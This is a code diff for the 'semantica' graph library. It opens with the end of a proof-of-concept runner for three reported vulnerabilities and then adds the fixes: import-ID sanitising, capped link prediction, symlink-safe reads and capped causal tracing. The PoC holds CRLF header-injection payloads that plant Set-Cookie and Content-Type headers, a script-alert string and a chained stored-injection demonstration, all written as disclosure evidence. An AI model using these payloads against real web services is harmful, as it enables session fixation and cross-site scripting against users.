+    print("[FIX] All sanitized — no CRLF sequences remain ✓")
+
+
+# ─────────────────────────────────────────────────────────────────────────────
+# VULN-2: Unbounded Memory DoS in /api/enrich/links
+# ─────────────────────────────────────────────────────────────────────────────
+
+def poc_vuln2():
+    print("\n" + "="*70)
+    print("VULN-2: Unbounded Memory DoS via /api/enrich/links")
+    print("="*70)
+    print("Source: semantica/explorer/routes/enrich.py lines 197-198")
+    print()
+    print("Vulnerable code:")
+    print("  nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=999_999)")
+    print("  edges, _ = await asyncio.to_thread(session.get_edges, skip=0, limit=999_999)")
+    print()
+
+    # Measure actual memory for building a graph of N nodes in-process
+    SIZES = [1_000, 5_000, 10_000, 50_000]
+
+    print(f"{'Nodes':>10}  {'Edges':>10}  {'RAM (MB)':>10}  {'Time (ms)':>12}  {'Extrapolated 999k (GB)':>25}")
+    print("-" * 75)
+
+    for n in SIZES:
+        tracemalloc.start()
+        t0 = time.perf_counter()
+
+        # Simulate exactly what get_nodes + get_edges returns and _score_all iterates
+        nodes = [
+            {"id": f"node_{i}", "type": "entity", "content": f"content {i}", "embedding": [0.1] * 128}
+            for i in range(n)
+        ]
+        edges = [
+            {"source": f"node_{i}", "target": f"node_{i+1}", "type": "related_to", "weight": 1.0}
+            for i in range(min(n - 1, n))
+        ]
+
+        # Simulate _score_all: O(N^2) comparisons
+        query_node = "node_0"
+        existing_neighbors = {e["target"] for e in edges if e["source"] == query_node}
+        scores = []
+        for candidate in nodes:
+            cid = candidate.get("id")
+            if cid and cid != query_node and cid not in existing_neighbors:
+                # Simulate score_link (dot product of 128-dim vectors)
+                score = sum(a * b for a, b in zip(candidate["embedding"], candidate["embedding"]))
+                scores.append((cid, score))
+
+        elapsed_ms = (time.perf_counter() - t0) * 1000
+        _, peak = tracemalloc.get_traced_memory()
+        tracemalloc.stop()
+
+        peak_mb = peak / 1024 / 1024
+        extrapolated_gb = (peak_mb / n) * 999_999 / 1024
+
+        print(f"{n:>10,}  {len(edges):>10,}  {peak_mb:>10.1f}  {elapsed_ms:>12.0f}  {extrapolated_gb:>25.1f}")
+
+    print()
+    print("[PoC 2] RESULT: Memory scales linearly with node count.")
+    print("[PoC 2] At the hardcoded limit=999_999, a 128-dim embedding graph")
+    print("[PoC 2] consumes multiple GB per request. 4 concurrent = OOM on any server.")
+    print()
+    print("[PoC 2] Concurrency amplifier — the endpoint has NO semaphore:")
+    print("  # enrich.py has no equivalent of the SPARQL semaphore added in PR #898")
+    print("  # Any number of concurrent requests pile up in the thread pool")
+    print()
+    print("[FIX] Cap: limit=10_000, semaphore(2), return 413 if graph > cap")
+
+
+# ─────────────────────────────────────────────────────────────────────────────
+# VULN-3: Unsanitized node_id from import flows into HTTP headers (CWE-20/113)
+# (Narrowed: no filesystem write sink in the Explorer — claim is header injection chain)
+# ─────────────────────────────────────────────────────────────────────────────
+
+def poc_vuln3():
+    print("\n" + "="*70)
+    print("VULN-3: Unsanitized Import ID → Header Injection Chain (CWE-20 + CWE-113)")
+    print("="*70)
+    print("Source: export_import.py line 85 → provenance.py lines 336, 344")
+    print()
+
+    # Simulate the import parser — mirrors export_import.py lines 77-92
+    def parse_import_json(data: dict) -> list:
+        """Mirrors export_import.py node parsing (no sanitization)."""
+        raw_nodes = data.get("nodes", data.get("entities", []))
+        nodes = []
+        for raw_node in raw_nodes:
+            node_id = str(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", ""))))
+            nodes.append({
+                "id": node_id,  # ← UNSANITIZED
+                "type": raw_node.get("type", "entity"),
+                "properties": {"content": raw_node.get("content", node_id)},
+            })
+        return nodes
+
+    # Simulate the CSV parser — mirrors export_import.py lines 131-133
+    def parse_import_csv_row(row: dict) -> dict:
+        """Mirrors export_import.py CSV node ID extraction (no sanitization)."""
+        node_id = row.get("id") or row.get("node_id") or row.get(":ID") or row.get("_id")
+        return {
+            "id": str(node_id),  # ← UNSANITIZED
+            "type": row.get("type", "entity"),
+        }
+
+    # Attack payloads
+    payloads = [
+        # Header injection payload (chained with VULN-1)
+        'evil"\r\nSet-Cookie: session=HIJACKED; Path=/\r\n\r\n',
+        # Content-Type override
+        'x"\r\nContent-Type: text/html\r\nX-XSS: <script>alert(1)</script>',
+        # Null byte to truncate filenames on some systems
+        'node\x00.json',
+        # Long ID causing buffer issues in some loggers
+        "A" * 512,
+    ]
+
+    print("[Step 1] Upload JSON with malicious node IDs via POST /api/import:")
+    malicious_json = {
+        "nodes": [{"id": p, "type": "entity", "content": "pwned"} for p in payloads]
+    }
+    imported_nodes = parse_import_json(malicious_json)
+
+    print(f"  Imported {len(imported_nodes)} nodes. IDs stored verbatim:")
+    for node in imported_nodes:
+        preview = repr(node["id"][:60]) + ("..." if len(node["id"]) > 60 else "")
+        print(f"    {preview}")
+
+    print()
+    print("[Step 2] IDs flow into Content-Disposition when caller requests provenance report:")
+    print("  GET /api/provenance/report?node_id=<imported_id>&format=json")
+    print()
+
+    for node in imported_nodes[:2]:  # show first two
+        node_id = node["id"]
+        # Exact code from provenance.py line 344
+        raw_header = f'attachment; filename="{node_id}_provenance.json"'
+        print(f"  node_id input: {repr(node_id[:60])}")
+        print(f"  Content-Disposition output:")
+        print(f"    {repr(raw_header[:120])}")
+        if "\r\n" in raw_header:
+            print(f"  >>> CRLF INJECTION CONFIRMED — headers after split:")
+            for line in raw_header.split("\r\n"):
+                print(f"      {line}")
+        print()
+
+    print("[Step 3] Verify the full attack chain works:")
+    attack_id = 'node"\r\nContent-Type: text/html\r\n\r\n<h1>XSS</h1>'
+
+    # Step 1: import stores it
+    stored = parse_import_json({"nodes": [{"id": attack_id, "type": "entity"}]})[0]
+    assert stored["id"] == attack_id, "ID not stored verbatim"
+    print(f"  ✓ ID stored verbatim: {repr(stored['id'][:60])}")
+
+    # Step 2: provenance endpoint reflects it into header
+    raw = f'attachment; filename="{stored["id"]}_provenance.json"'
+    assert "Content-Type: text/html" in raw, "Content-Type not injected"
+    print(f"  ✓ Content-Type: text/html injected via stored ID")
+    print(f"  ✓ Full attack chain: import → store → provenance → header injection CONFIRMED")
+
+    print()
+    print("[PoC 3] RESULT: Any user who can POST /api/import can plant a malicious node ID")
+    print("[PoC 3] that — when provenance is requested — injects HTTP response headers.")
+    print("[PoC 3] Impact: XSS (Content-Type override), session fixation (Set-Cookie).")
+    print()
+    print("[NOTE] Narrowing from file-overwrite: no direct file-write sink found in Explorer.")
+    print("[NOTE] Real impact is header injection chain with VULN-1 (both need the same fix).")
+    print()
+    print("[FIX] Sanitize node IDs on import (strip CRLF, null bytes, length-cap):")
+    print("  node_id = re.sub(r'[\\r\\n\\x00]', '', raw_id)[:256]")
+
+
+# ─────────────────────────────────────────────────────────────────────────────
+
+if __name__ == "__main__":
+    print("semantica Security PoC Runner")
+    print("Demonstrates VULN-1, VULN-2, VULN-3 with real captured output")
+    print("No external server required — all evidence captured in-process")
+
+    poc_vuln1()
+    poc_vuln2()
+    poc_vuln3()
+
+    print("\n" + "="*70)
+    print("ALL PoCs COMPLETED — see output above for reproducible evidence")
+    print("="*70)

pyproject.toml

@@ -1,5 +1,5 @@
 [build-system]
-requires = ["setuptools>=61.0", "wheel"]
+requires = ["setuptools==84.0.0", "wheel==0.48.0"]
 build-backend = "setuptools.build_meta"
 
 [project]
@@ -60,7 +60,7 @@ dependencies = [
   "plotly>=6.8.0",
   "ipywidgets>=8.0.0",
   "requests>=2.34.2",
-  "GitPython>=3.1.50",
+  "GitPython>=3.1.58",
   "chardet>=7.4.3",
   "protobuf>=5.29.1,<8.0",
   "grpcio>=1.81.1",
@@ -230,10 +230,10 @@ dev = [
 
 # Explorer Dashboard
 explorer = [
-  "fastapi>=0.100.0",
+  "fastapi>=0.109.2",
   "uvicorn[standard]>=0.22.0",
   "websockets>=15.0.1",
-  "python-multipart>=0.0.6",
+  "python-multipart>=0.0.7",
   "defusedxml>=0.7.1"
 ]
 explorer-lite = [

semantica/context/agent_memory.py

@@ -59,9 +59,11 @@ License: MIT
 """
 
 import copy
+import errno
 import hashlib
 import os
 import re
+import stat
 import tempfile
 from collections import deque
 from dataclasses import dataclass, field
@@ -1906,7 +1908,49 @@ class AgentMemory:
 
         return memories
 
+    def _read_markdown_file_content(self, file_path: Path) -> str:
+        if file_path.is_symlink():
+            raise ValueError(f"Symlink Markdown import paths are rejected: {file_path}")
+
+        flags = os.O_RDONLY
+        if hasattr(os, "O_NOFOLLOW"):
+            # On POSIX, O_NOFOLLOW makes os.open() fail with ELOOP if the
+            # final path component is a symlink, atomically closing the TOCTOU
+            # window between the is_symlink() check above and the open call.
+            # On Windows, O_NOFOLLOW is not available; the is_symlink() pre-check
+            # above is the only symlink defense and remains vulnerable to a narrow
+            # race.  The fstat()/S_ISREG guard below still rejects special files
+            # (FIFOs, devices) on both platforms.
+            flags |= os.O_NOFOLLOW
+
+        try:
+            fd = os.open(str(file_path), flags)
+        except OSError as exc:
+            if exc.errno == getattr(errno, "ELOOP", None):
+                raise ValueError(
+                    f"Symlink Markdown import paths are rejected: {file_path}"
+                ) from exc
+            raise
+
+        try:
+            stat_res = os.fstat(fd)
+            if not stat.S_ISREG(stat_res.st_mode):
+                raise ValueError(
+                    f"Markdown import path is not a regular file: {file_path}"
+                )
+            with open(fd, "r", encoding="utf-8", closefd=True) as f:
+                return f.read()
+        except Exception:
+            try:
+                os.close(fd)
+            except OSError:
+                pass
+            raise
+
     def _read_markdown_path(self, path: Path) -> List[Tuple[str, str]]:
+        if path.is_symlink():
+            raise ValueError(f"Symlink Markdown import paths are rejected: {path}")
+
         if not path.exists():
             raise FileNotFoundError(f"Markdown import path does not exist: {path}")
 
@@ -1916,6 +1960,7 @@ class AgentMemory:
                     file_path
                     for file_path in path.iterdir()
                     if file_path.is_file()
+                    and not file_path.is_symlink()
                     and file_path.suffix.lower() in self._MARKDOWN_EXTENSIONS
                 ),
                 key=lambda file_path: (file_path.name.casefold(), file_path.name),
@@ -1926,7 +1971,7 @@ class AgentMemory:
             raise ValueError(f"Markdown import path is not a file or directory: {path}")
 
         return [
-            (str(file_path), file_path.read_text(encoding="utf-8"))
+            (str(file_path), self._read_markdown_file_content(file_path))
             for file_path in file_paths
         ]
 

semantica/context/context_graph.py

@@ -410,6 +410,15 @@ class ContextEdge:
         return d
 
 
+_ATTRS_MISSING = object()
+
+#: Edge types that represent an explicitly recorded causal relationship between
+#: two decisions. These are authoritative: they are what the caller asserted via
+#: add_causal_relationship(), as opposed to relationships inferred from shared
+#: entities and timestamps.
+_CAUSAL_EDGE_TYPES = ("CAUSED", "INFLUENCED", "PRECEDENT_FOR")
+
+
 class ContextGraph:
     """
     Easy-to-Use Context Graph with All Advanced Features.
@@ -708,18 +717,71 @@ class ContextGraph:
                     })
         return result
 
-    def get_node_property(self, node_id: str, property_name: str) -> Any:
-        with self._lock:
-            node = self.nodes.get(node_id)
-            if not node:
-                return None
-            return node.properties.get(property_name)
+    def get_node_property(
+        self,
+        node_id: str,
+        property_name: str,
+        default: Any = None,
+    ) -> Any:
+        """Return the value of *property_name* on *node_id*.
 
-    def get_node_attributes(self, node_id: str) -> Dict[str, Any]:
+        Returns *default* when the node does not exist or when the property is
+        not set on the node.  Both failure modes return the same *default*, so
+        a sentinel can identify *any not-found result* as distinct from a
+        property whose value is legitimately ``None``::
+
+            _MISSING = object()
+            val = graph.get_node_property(node_id, "score", default=_MISSING)
+            if val is _MISSING:
+                ...  # node absent or property not set
+
+        To distinguish a missing node from a missing property specifically,
+        call ``find_node()`` first to check node existence.
+
+        Args:
+            node_id: ID of the node to look up.
+            property_name: Name of the property to retrieve.
+            default: Value returned when the node or property is absent.
+                Defaults to ``None`` (backward-compatible).
+
+        Returns:
+            The property value, or *default* if not found.
+        """
         with self._lock:
             node = self.nodes.get(node_id)
-            if not node:
-                return {}
+            if node is None:
+                return default
+            return node.properties.get(property_name, default)
+
+    def get_node_attributes(
+        self,
+        node_id: str,
+        default: Any = _ATTRS_MISSING,
+    ) -> Any:
+        """Return a copy of all properties on *node_id*.
+
+        Returns *default* when the node does not exist.  The historical
+        default is ``{}`` (an empty dict), preserved for backward
+        compatibility.  Pass a private sentinel as *default* to detect a
+        missing node unambiguously::
+
+            _MISSING = object()
+            attrs = graph.get_node_attributes(node_id, default=_MISSING)
+            if attrs is _MISSING:
+                ...  # node does not exist
+
+        Args:
+            node_id: ID of the node to look up.
+            default: Value returned when the node is absent.
+                Defaults to ``{}`` (backward-compatible).
+
+        Returns:
+            A shallow copy of the node's properties dict, or *default*.
+        """
+        with self._lock:
+            node = self.nodes.get(node_id)
+            if node is None:
+                return {} if default is _ATTRS_MISSING else default
             return node.properties.copy()
 
     def add_node_attribute(self, node_id: str, attributes: Dict[str, Any]) -> None:
@@ -730,13 +792,28 @@ class ContextGraph:
             node.properties.update(attributes)
             node.metadata.update(attributes)
 
-
         if getattr(self, "mutation_callback", None) and not getattr(
             self, "_suspend_mutation_callback", False
         ):
-            self.mutation_callback("UPDATE_NODE", node_id, node.to_dict())
+            try:
+                self.mutation_callback("UPDATE_NODE", node_id, node.to_dict())
+            except Exception as e:
+                self.logger.warning(f"Audit trail callback failed for node {node_id}: {e}")
 
     def get_edge_data(self, source_id: str, target_id: str) -> Dict[str, Any]:
+        """Return metadata for the edge between *source_id* and *target_id*.
+
+        Returns an empty dict ``{}`` when no edge exists between the two nodes
+        or when either node is absent.
+
+        Args:
+            source_id: ID of the source node.
+            target_id: ID of the target node.
+
+        Returns:
+            A dict containing edge metadata (``id``, ``familyId``, ``type``,
+            ``weight``, plus any custom metadata), or ``{}`` if not found.
+        """
         with self._lock:
             for edge in self._adjacency.get(source_id, []):
                 if edge.target_id == target_id:
@@ -1080,7 +1157,17 @@ class ContextGraph:
         self.logger.info(f"Loaded context graph from {path}")
 
     def find_node(self, node_id: str) -> Optional[Dict[str, Any]]:
-        """Find a node by ID."""
+        """Return a dict representation of the node identified by *node_id*.
+
+        Returns ``None`` when the node does not exist.
+
+        Args:
+            node_id: ID of the node to look up.
+
+        Returns:
+            A dict with keys ``id``, ``type``, ``content``, and ``metadata``,
+            or ``None`` if the node is not found.
+        """
         with self._lock:
             node = self.nodes.get(node_id)
             if node:
@@ -1769,47 +1856,48 @@ class ContextGraph:
 
     def to_dict(self) -> Dict[str, Any]:
         """Export graph to dictionary format."""
-        nodes_out = []
-        for n in self.nodes.values():
-            entry: Dict[str, Any] = {
-                "id": n.node_id,
-                "type": n.node_type,
-                "content": n.content,
-                "properties": n.properties,
-                "metadata": n.metadata,
-            }
-            if n.valid_from is not None:
-                entry["valid_from"] = n.valid_from
-            if n.valid_until is not None:
-                entry["valid_until"] = n.valid_until
-            nodes_out.append(entry)
+        with self._lock:
+            nodes_out = []
+            for n in self.nodes.values():
+                entry: Dict[str, Any] = {
+                    "id": n.node_id,
+                    "type": n.node_type,
+                    "content": n.content,
+                    "properties": n.properties,
+                    "metadata": n.metadata,
+                }
+                if n.valid_from is not None:
+                    entry["valid_from"] = n.valid_from
+                if n.valid_until is not None:
+                    entry["valid_until"] = n.valid_until
+                nodes_out.append(entry)
 
-        edges_out = []
-        for e in self.edges:
-            entry = {
-                "id": e.edge_id,
-                "familyId": e.family_id or e.edge_id,
-                "source": e.source_id,
-                "target": e.target_id,
-                "type": e.edge_type,
-                "weight": e.weight,
-            }
-            if e.metadata:
-                entry["metadata"] = e.metadata
-            if e.valid_from is not None:
-                entry["valid_from"] = e.valid_from
-            if e.valid_until is not None:
-                entry["valid_until"] = e.valid_until
-            edges_out.append(entry)
+            edges_out = []
+            for e in self.edges:
+                entry = {
+                    "id": e.edge_id,
+                    "familyId": e.family_id or e.edge_id,
+                    "source": e.source_id,
+                    "target": e.target_id,
+                    "type": e.edge_type,
+                    "weight": e.weight,
+                }
+                if e.metadata:
+                    entry["metadata"] = e.metadata
+                if e.valid_from is not None:
+                    entry["valid_from"] = e.valid_from
+                if e.valid_until is not None:
+                    entry["valid_until"] = e.valid_until
+                edges_out.append(entry)
 
-        return {
-            "nodes": nodes_out,
-            "edges": edges_out,
-            "statistics": {
-                "node_count": len(self.nodes),
-                "edge_count": len(self.edges),
-            },
-        }
+            return {
+                "nodes": nodes_out,
+                "edges": edges_out,
+                "statistics": {
+                    "node_count": len(self.nodes),
+                    "edge_count": len(self.edges),
+                },
+            }
 
     def from_dict(self, graph_dict: Dict[str, Any]) -> None:
         """Load graph from dictionary format."""
@@ -2698,11 +2786,20 @@ class ContextGraph:
         direct_influence.discard(decision_id)
         direct_influence.update(self._decision_index.get(decision["category"], set()))
         direct_influence.discard(decision_id)
+
+        # Explicit causal relationships recorded via add_causal_relationship() are
+        # ground truth and always count as direct influence, in either direction.
+        for edge_type in _CAUSAL_EDGE_TYPES:
+            for edge in self.edge_type_index.get(edge_type, []):
+                if edge.source_id == decision_id and edge.target_id in self._decisions:
+                    direct_influence.add(edge.target_id)
+                elif edge.target_id == decision_id and edge.source_id in self._decisions:
+                    direct_influence.add(edge.source_id)
         
         # Indirect influence (through graph relationships)
         indirect_influence = set()
         if include_indirect and self.config.get("advanced_analytics"):
-            indirect_influence = self._find_indirect_decision_influence(decision_id, max_depth)
+            indirect_influence = self._find_indirect_decision_influence(decision_id, max_depth) - direct_influence
         
         # Calculate influence scores
         influence_scores = {}
@@ -2806,42 +2903,106 @@ class ContextGraph:
     def trace_decision_causality(
         self,
         decision_id: str,
-        max_depth: int = 5
+        max_depth: int = 5,
+        max_chains: Optional[int] = 10000
     ) -> List[Dict[str, Any]]:
         """
         Trace causal chain for a decision.
-        
+
         Args:
             decision_id: Decision to trace
             max_depth: Maximum depth for causal analysis
-            
+            max_chains: Maximum number of chains to return. Densely connected
+                graphs can contain a combinatorial number of distinct causal
+                paths, so the traversal stops once this many chains have been
+                collected and appends a ``{"truncated": True, ...}`` marker so
+                callers can tell the trace is incomplete. Pass None for no limit.
+
         Returns:
             Causal chain as list of decision relationships
         """
         if not hasattr(self, '_decisions') or decision_id not in self._decisions:
             raise ValueError(f"Decision {decision_id} not found")
-        
+
         try:
             # Use graph traversal to find causal relationships
             causal_chain = []
-            visited = set()
-            
-            def trace_recursive(current_id, depth, path):
-                if depth >= max_depth or current_id in visited:
+            chain_limit = float("inf") if max_chains is None else max_chains
+            truncated = False
+
+            # Reverse index of explicit causal edges, built once per call so the
+            # traversal does not rescan the edge list at every visited node.
+            # Edges may reference decision nodes that were never recorded through
+            # record_decision() (e.g. a graph restored via from_dict), so only
+            # causes with a known decision record are kept.
+            incoming_causal_edges = defaultdict(list)
+            for edge_type in _CAUSAL_EDGE_TYPES:
+                for edge in self.edge_type_index.get(edge_type, []):
+                    if edge.source_id in self._decisions:
+                        incoming_causal_edges[edge.target_id].append(edge)
+
+            def record_chain(cause_path):
+                """Record one chain. Returns False once the cap is reached."""
+                nonlocal truncated
+                if len(causal_chain) >= chain_limit:
+                    truncated = True
+                    return False
+                causal_chain.append(
+                    self._build_causal_chain_report(list(reversed(cause_path)))
+                )
+                return True
+
+            def trace_recursive(current_id, depth, path, path_ids):
+                # Cycle detection is per-path rather than global: a decision reached
+                # through one branch must stay traversable through another, otherwise
+                # branching graphs silently lose valid chains. max_depth bounds the
+                # traversal.
+                if truncated or depth >= max_depth or current_id in path_ids:
                     return
-                
-                visited.add(current_id)
+
+                path_ids = path_ids | {current_id}
                 current_decision = self._decisions[current_id]
-                
-                # Find potential causes (decisions that influenced this one)
+
+                # Explicit causal relationships recorded via add_causal_relationship()
+                # take precedence - they are the ground truth the caller recorded.
+                # Every edge is traced, so parallel relationships between the same
+                # pair of decisions are all reported rather than overwriting.
+                explicit_causes = incoming_causal_edges.get(current_id, [])
+                explicit_cause_ids = {edge.source_id for edge in explicit_causes}
+
+                for edge in explicit_causes:
+                    cause_id = edge.source_id
+                    cause_dec = self._decisions[cause_id]
+                    weight = getattr(edge, "weight", None)
+                    # A stored weight of 0.0 is meaningful and must not be coerced
+                    # to the 1.0 default.
+                    edge_weight = 1.0 if weight is None else float(weight)
+                    hop = {
+                        "from": cause_id,
+                        "from_scenario": cause_dec.get("scenario", ""),
+                        "to": current_id,
+                        "to_scenario": current_decision.get("scenario", ""),
+                        "type": edge.edge_type,
+                        "edge_weight": edge_weight,
+                    }
+                    cause_path = path + [hop]
+                    if not record_chain(cause_path):
+                        return
+                    trace_recursive(cause_id, depth + 1, cause_path, path_ids)
+                    if truncated:
+                        return
+
+                # Find potential causes (decisions that influenced this one) via
+                # shared entities/timestamps - additive heuristic, skipping anything
+                # already covered by an explicit relationship above.
                 potential_causes = []
                 for entity in current_decision["entities"]:
                     for other_decision_id in self._entity_index.get(entity, set()):
-                        if other_decision_id != current_id:
+                        if other_decision_id != current_id and other_decision_id not in explicit_cause_ids:
                             other_decision = self._decisions[other_decision_id]
                             if other_decision["timestamp"] < current_decision["timestamp"]:
                                 potential_causes.append(other_decision_id)
-                
+
                 for cause_id in potential_causes:
                     cause_dec = self._decisions.get(cause_id, {})
                     edge_weight = float(cause_dec.get("confidence", 1.0))
@@ -2854,10 +3015,32 @@ class ContextGraph:
                         "edge_weight": edge_weight,
                     }
                     cause_path = path + [hop]
-                    causal_chain.append(self._build_causal_chain_report(list(reversed(cause_path))))
-                    trace_recursive(cause_id, depth + 1, cause_path)
-            
-            trace_recursive(decision_id, 0, [])
+                    if not record_chain(cause_path):
+                        return
+                    trace_recursive(cause_id, depth + 1, cause_path, path_ids)
+                    if truncated:
+                        return
+
+            trace_recursive(decision_id, 0, [], frozenset())
+
+            if truncated:
+                # Never drop chains silently: the caller is told the trace is partial.
+                self.logger.warning(
+                    "Causal trace for %s truncated at %s chains; "
+                    "raise max_chains or lower max_depth for a complete trace.",
+                    decision_id,
+                    max_chains,
+                )
+                causal_chain.append({
+                    "truncated": True,
+                    "max_chains": max_chains,
+                    "message": (
+                        f"Causal trace truncated at {max_chains} chains. "
+                        "The result is incomplete; raise max_chains or lower "
+                        "max_depth for a complete trace."
+                    ),
+                })
+
             return causal_chain
             
         except Exception as e:
@@ -3326,21 +3509,25 @@ class ContextGraph:
     def trace_decision_chain(
         self,
         decision_id: str,
-        max_steps: int = 5
+        max_steps: int = 5,
+        max_chains: Optional[int] = 10000
     ) -> List[Dict[str, Any]]:
         """
         Easy way to trace how decisions are connected.
-        
+
         Args:
             decision_id: Starting decision
             max_steps: Maximum steps to trace
-            
+            max_chains: Maximum number of chains to return; see
+                trace_decision_causality(). Pass None for no limit.
+
         Returns:
             Decision chain connections
         """
         return self.trace_decision_causality(
             decision_id=decision_id,
-            max_depth=max_steps
+            max_depth=max_steps,
+            max_chains=max_chains
         )
     
     def check_decision_rules(

semantica/explorer/routes/enrich.py

@@ -1,4 +1,4 @@
-"""
+"""
 Enrichment and reasoning routes.
 """
 
@@ -26,6 +26,23 @@ from ..session import GraphSession
 router = APIRouter(tags=["Enrichment"])
 _FACT_RE = re.compile(r"^(?P<predicate>[A-Za-z_][\w:-]*)\((?P<args>.*)\)$")
 
+# SECURITY: Cap the candidate pool loaded by link prediction to prevent a
+# single request from exhausting server memory (CWE-770).  Without a cap the
+# endpoint calls session.get_nodes(limit=999_999) and scores every node in
+# O(N^2), consuming ~1.6 GB RAM at the maximum limit (measured via
+# tracemalloc at 1.7 KB/node with 128-dim embeddings; see poc_runner.py).
+# Mirrors the SPARQL DoS fix from PR #898 (50k cap + semaphore).
+#
+# NOTE: session.get_nodes()/get_edges() (paginate_nodes/paginate_edges)
+# normalize the *entire* matching set before applying `limit` -- passing
+# limit=_LINK_PREDICTION_MAX_NODES does not bound that work. The `total`
+# they return can only be checked *after* paying that full cost. To actually
+# reject an oversized graph before doing that work, check session.get_raw_counts()
+# (O(1) collection lengths) first -- see predict_links() below.
+_LINK_PREDICTION_MAX_NODES = 10_000
+_LINK_PREDICTION_MAX_EDGES = 50_000
+_link_prediction_semaphore = asyncio.Semaphore(2)
+
 
 def _safe_dict(obj) -> dict:
     if isinstance(obj, dict):
@@ -194,40 +211,80 @@ async def predict_links(
     if node is None:
         raise HTTPException(status_code=404, detail=f"Node '{body.node_id}' not found")
 
-    nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=999_999)
-    edges, _ = await asyncio.to_thread(session.get_edges, skip=0, limit=999_999)
+    # SECURITY: Acquire semaphore BEFORE loading data so concurrent requests
+    # cannot pile up expensive threadpool work and memory pressure (Qodo #2).
+    async with _link_prediction_semaphore:
+        # SECURITY: Reject an oversized graph using the O(1) raw collection
+        # lengths BEFORE calling get_nodes()/get_edges(), which normalize the
+        # *entire* matching set before applying `limit` -- checking `total`
+        # only after that call still pays the full O(graph size) cost the cap
+        # is meant to avoid.
+        total_nodes, total_edges = await asyncio.to_thread(session.get_raw_counts)
+        if total_nodes > _LINK_PREDICTION_MAX_NODES:
+            raise HTTPException(
+                status_code=413,
+                detail=(
+                    f"Graph has {total_nodes:,} nodes; link prediction is capped at "
+                    f"{_LINK_PREDICTION_MAX_NODES:,} nodes to prevent memory exhaustion. "
+                    "Use the graph search endpoint for large graphs."
+                ),
+            )
+        if total_edges > _LINK_PREDICTION_MAX_EDGES:
+            raise HTTPException(
+                status_code=413,
+                detail=(
+                    f"Graph has {total_edges:,} edges; link prediction is capped at "
+                    f"{_LINK_PREDICTION_MAX_EDGES:,} edges to prevent memory exhaustion. "
+                    "Use the graph search endpoint for large graphs."
+                ),
+            )
 
-    existing_neighbors = {
-        edge.get("target") for edge in edges if edge.get("source") == body.node_id
-    } | {
-        edge.get("source") for edge in edges if edge.get("target") == body.node_id
-    }
+        # SECURITY: Load at most _LINK_PREDICTION_MAX_NODES candidates.
+        # The hardcoded limit in the original code consumed ~1.6 GB RAM
+        # per request and had no concurrency guard, making it trivially DoS-able.
+        nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=_LINK_PREDICTION_MAX_NODES)
 
-    def _score_all() -> list:
-        results = []
-        for candidate_node in nodes:
-            candidate_id = candidate_node.get("id")
-            if not candidate_id or candidate_id == body.node_id or candidate_id in existing_neighbors:
-                continue
-            if body.candidate_type and candidate_node.get("type") != body.candidate_type:
-                continue
-            try:
-                score = predictor.score_link(session.graph, body.node_id, candidate_id)
-            except Exception:
-                continue
-            if score >= body.min_score:
-                results.append(
-                    {
-                        "target": candidate_id,
-                        "score": score,
-                        "type": candidate_node.get("type", "entity"),
-                        "label": candidate_node.get("content", candidate_id),
-                    }
-                )
-        results.sort(key=lambda item: item["score"], reverse=True)
-        return results
+        # Load edges specific to the queried node rather than a globally
+        # truncated page — avoids missing neighbours when the node's edges
+        # fall outside the first page (Qodo #3).
+        edges_out, _ = await asyncio.to_thread(
+            session.get_edges, source=body.node_id, skip=0, limit=_LINK_PREDICTION_MAX_NODES,
+        )
+        edges_in, _ = await asyncio.to_thread(
+            session.get_edges, target=body.node_id, skip=0, limit=_LINK_PREDICTION_MAX_NODES,
+        )
 
-    scored = await asyncio.to_thread(_score_all)
+        existing_neighbors = {
+            edge.get("target") for edge in edges_out
+        } | {
+            edge.get("source") for edge in edges_in
+        }
+
+        def _score_all() -> list:
+            results = []
+            for candidate_node in nodes:
+                candidate_id = candidate_node.get("id")
+                if not candidate_id or candidate_id == body.node_id or candidate_id in existing_neighbors:
+                    continue
+                if body.candidate_type and candidate_node.get("type") != body.candidate_type:
+                    continue
+                try:
+                    score = predictor.score_link(session.graph, body.node_id, candidate_id)
+                except Exception:
+                    continue
+                if score >= body.min_score:
+                    results.append(
+                        {
+                            "target": candidate_id,
+                            "score": score,
+                            "type": candidate_node.get("type", "entity"),
+                            "label": candidate_node.get("content", candidate_id),
+                        }
+                    )
+            results.sort(key=lambda item: item["score"], reverse=True)
+            return results
+
+        scored = await asyncio.to_thread(_score_all)
     return LinkPredictionResponse(node_id=body.node_id, predictions=scored[: body.top_n])
 
 

semantica/explorer/routes/export_import.py

@@ -1,4 +1,4 @@
-"""
+"""
 Import and export routes for graph datasets.
 """
 
@@ -6,6 +6,7 @@ import csv
 import io
 import json
 import logging
+import re
 
 from fastapi import APIRouter, Depends, File, HTTPException, UploadFile
 from fastapi.responses import Response
@@ -22,6 +23,33 @@ _IMPORT_MAX_BYTES = 50 * 1024 * 1024  # 50 MB
 # Do not add extensions here unless a corresponding parsing branch exists below.
 _ALLOWED_IMPORT_EXTENSIONS = frozenset({".json", ".csv"})
 
+# SECURITY: Strip characters from imported node IDs that would enable stored
+# HTTP response header injection (CWE-20 / CWE-113).  These IDs are later
+# reflected verbatim into Content-Disposition filename= headers by the
+# provenance report endpoint -- CRLF sequences in an ID can split the HTTP
+# response and inject arbitrary headers (Set-Cookie, Content-Type, etc.).
+# NUL bytes truncate filenames on POSIX and some Windows APIs.
+_UNSAFE_ID_CHARS = re.compile(r'[\r\n\x00"\\]')
+_MAX_IMPORT_NODE_ID_LEN = 512
+
+
+def _sanitize_import_node_id(raw: object) -> str:
+    """Sanitize a node ID arriving from an uploaded CSV or JSON file.
+
+    Strips CR, LF, NUL, double-quotes, and backslashes, then length-caps the
+    result. These are the characters that enable CRLF header injection when
+    the ID is later used in a Content-Disposition filename= parameter.
+    """
+    if raw is None:
+        return ""
+    cleaned = _UNSAFE_ID_CHARS.sub("_", str(raw).strip())
+    if len(cleaned) > _MAX_IMPORT_NODE_ID_LEN:
+        raise HTTPException(
+            status_code=422,
+            detail=f"Node ID exceeds maximum length of {_MAX_IMPORT_NODE_ID_LEN} characters.",
+        )
+    return cleaned
+
 
 def _import_response(nodes_added: int, edges_added: int, message: str = "Import successful") -> ImportResponse:
     return ImportResponse(
@@ -77,12 +105,19 @@ async def import_file(
         nodes = []
         for raw_node in raw_nodes:
             if "properties" in raw_node:
-                nodes.append(raw_node)
+                # SECURITY: this pre-built-node path bypasses the id/type/properties
+                # construction below entirely, so it must sanitize the id itself --
